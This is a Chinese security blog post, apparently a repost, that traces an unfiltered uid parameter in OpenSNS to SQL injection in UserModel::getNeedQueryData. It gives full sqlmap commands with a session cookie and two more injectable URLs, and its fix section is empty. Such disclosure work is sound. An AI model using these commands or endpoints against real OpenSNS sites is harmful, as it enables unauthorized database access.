OpenSNS SQL注入(一)

2019-07-17 约 118 字 预计阅读 1 分钟

声明:本文 【OpenSNS SQL注入(一)】 由作者 Onlywait 于 2019-07-18 06:02:00 首发 先知社区 曾经 浏览数 1 次

感谢 Onlywait 的辛苦付出!

0x01 前言

OpenSNS是基于OneThink的轻量级社交化用户中心框架,系统秉持简约的设计风格,注重交流,为用户提供了一套轻量级的社交方案。OpenSNS前身是“ThinkOX”,2015年1月28号正式更名为OpenSNS
OpenSNS采用PHP+MYSQL构建的一款有“身份”的开源免费SNS社交系统,适用于多种社会关系。
OpenSNS采用thinkphp框架编写。系统的设计遵循高内聚低耦合,允许管理员自由开启关闭功能模块。不仅如此,OpenSNS还内置了一个功能扩展商店,可以一键在线安装新的功能扩展。
OpenSNS目前有大量的国内开发者,云市场也上架了大量的第三方功能模块和主题应用,使OpenSNS可以同时满足各行各业的社交需求。

0x02 代码分析

跟踪到./Application/Ucenter/Controller/ConfigController.class.php中的_initialize方法

15 Line: 三元运算符判断是否设置了$_GET[‘uid’],若设置了则将其过滤一遍赋给$uid,若没有设置则获取session中得uid
17 Line: 调用当前类中得userInfo方法并将$uid传入

跟踪到./Application/Ucenter/Controller/ConfigController.class.php中的userInfo方法

1117 Line: 调用query_user并将数组及外部传入的$uid传入进去

跟踪到./Application/Common/Common/query_user.php中的query_user函数

17 Line: 判断$uid是否等于null,若等于则传入当前已经登陆用户的id否则使用传入的id并赋给$uid
18 Line: 调用模型Common/User中的query_user方法并将$fields、$uid传入

跟踪到./Application/Common/Model/UserModel.class.php中的query_user方法


118 Line: 将$user_data, $fields, $uid传入到当前类中的getNeedQueryData方法并将返回的数组分别赋值给$user_data, $fields

跟踪到./Application/Common/Model/UserModel.class.php中的getNeedQueryData方法

67 Line: 使用array_intersect函数返回$this->table_fields, $fields两个数组的交集并赋给$need_query中
69 Line: 判断$need_query不为空
70 Line: 获取数据表前缀并赋给$db_prefix
71 Line: 将外部传入外部传入的参数拼接到SQL语句中,在传入过程中并未有任何过滤

0x03 调试

漏洞出现在getNeedQueryData方法中的71行,调试开始咯!

0x04 漏洞复现

1、账号注册

2、登陆

3、祭出神器SQLMAP

sqlmap.py -u "http://localhost/index.php?s=/ucenter/Config/&uid=1*" --cookie " PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7; UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7; CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T --dbms "mysql"

sqlmap.py -u "http://localhost/index.php?s=/ucenter/Config/&uid=1*" --cookie " PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7; UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7; CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T --dbms "mysql" --is-dba

sqlmap.py -u "http://localhost/index.php?s=/ucenter/Config/&uid=1*" --cookie " PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7; UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7; CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T --dbms "mysql" --current-db

0x05 漏洞修复

0x06 同类注入点

http://localhost/index.php?s=/ucenter/index/index&uid=10
http://localhost/index.php?s=/ucenter/index/information&uid=10

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now